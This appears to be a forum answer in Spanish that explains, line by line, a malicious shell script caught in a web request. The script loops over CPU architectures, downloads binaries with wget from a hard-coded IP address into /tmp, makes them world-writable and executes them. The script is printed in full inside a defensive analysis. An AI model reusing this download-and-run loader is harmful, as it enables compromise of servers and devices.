Línea por línea:
#!/bin/sh
Establece el sh
shell, cualquiera que sea, como la línea shebang. sh%20/tmp/ks
en la solicitud anula esto, por lo que esta línea se trata como un comentario normal y se ignora.
u="asgknskjdgn"
Declara un nombre arbitrario, presumiblemente para evitar colisiones con otros nombres de archivo. No estoy seguro de por qué no usarían simplemente mktemp
, pero tal vez eso no esté disponible en todas las plataformas.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera varias arquitecturas de CPU comunes.
http_server="80.211.173.159"
http_port=80
El servidor que tiene el exploit.
cd /tmp/||cd /var/
Intenta cambiar el directorio a algún lugar en el que es probable que su servidor web pueda crear archivos. Creo que SELinux ayudará con esto, imponiendo reglas mucho más estrictas sobre lo que puede hacer el servidor web que lo que hace el sistema de archivos por sí solo.
for name in $bin_names
do
Para cada arquitectura de CPU...
rm -rf $u
Elimina los programas de explotación probados anteriormente. Innecesario debido a la siguiente línea, por lo que puede ignorarse.
cp $SHELL $u
Copia el ejecutable de shell actual (/bin/sh
). Se puede ignorar debido a la línea que sigue a next.
chmod 777 $u
Hace que todos tengan acceso completo al nuevo archivo. Esto debería haber sido después del wget
comando, que es un signo de un novato en scripts de shell o una técnica de desvío.
>$u
Vacía el archivo. Sin sentido debido a la siguiente línea.
wget http://$http_server:$http_port/$name -O -> $u
Sobrescribe el archivo con el script de explotación para esta arquitectura. -O -> $u
podría haberse escrito -O - > $u
(el guión indica que la descarga debe escribirse en la salida estándar) que equivale a -O $u
.
./$u $name
Ejecuta el script de explotación con la arquitectura como primer argumento.
done
Finaliza el ciclo.
Parece que se trata de un script de intento de explotación trivial, que prueba explotaciones conocidas contra varias plataformas de CPU. No sé por qué sobrescribe $u
tres veces, pero esas operaciones podrían ser simplemente restos de una iteración anterior del script. Presumiblemente, la versión anterior tenía los exploits codificados de forma rígida en lugar de servirlos dinámicamente; el primero es más fácil, pero casi garantiza que el script será menos efectivo con el tiempo a medida que se solucionen los errores.
El wget
es la línea peligrosa clave.
El for name in $bin_names
está trabajando a través de la lista de plataformas y para cada plataforma está limpiando un directorio temporal, copiando un shell y luego haciéndolo accesible para todos.
Luego descarga un archivo usando wget
y luego lo ejecuta usando el programa shell que acaba de copiar.
El script básicamente intenta descargar una serie de ejecutables o scripts para todas las plataformas que puede y los frota contra su sistema con la esperanza de que pueda comprometerlo aún más.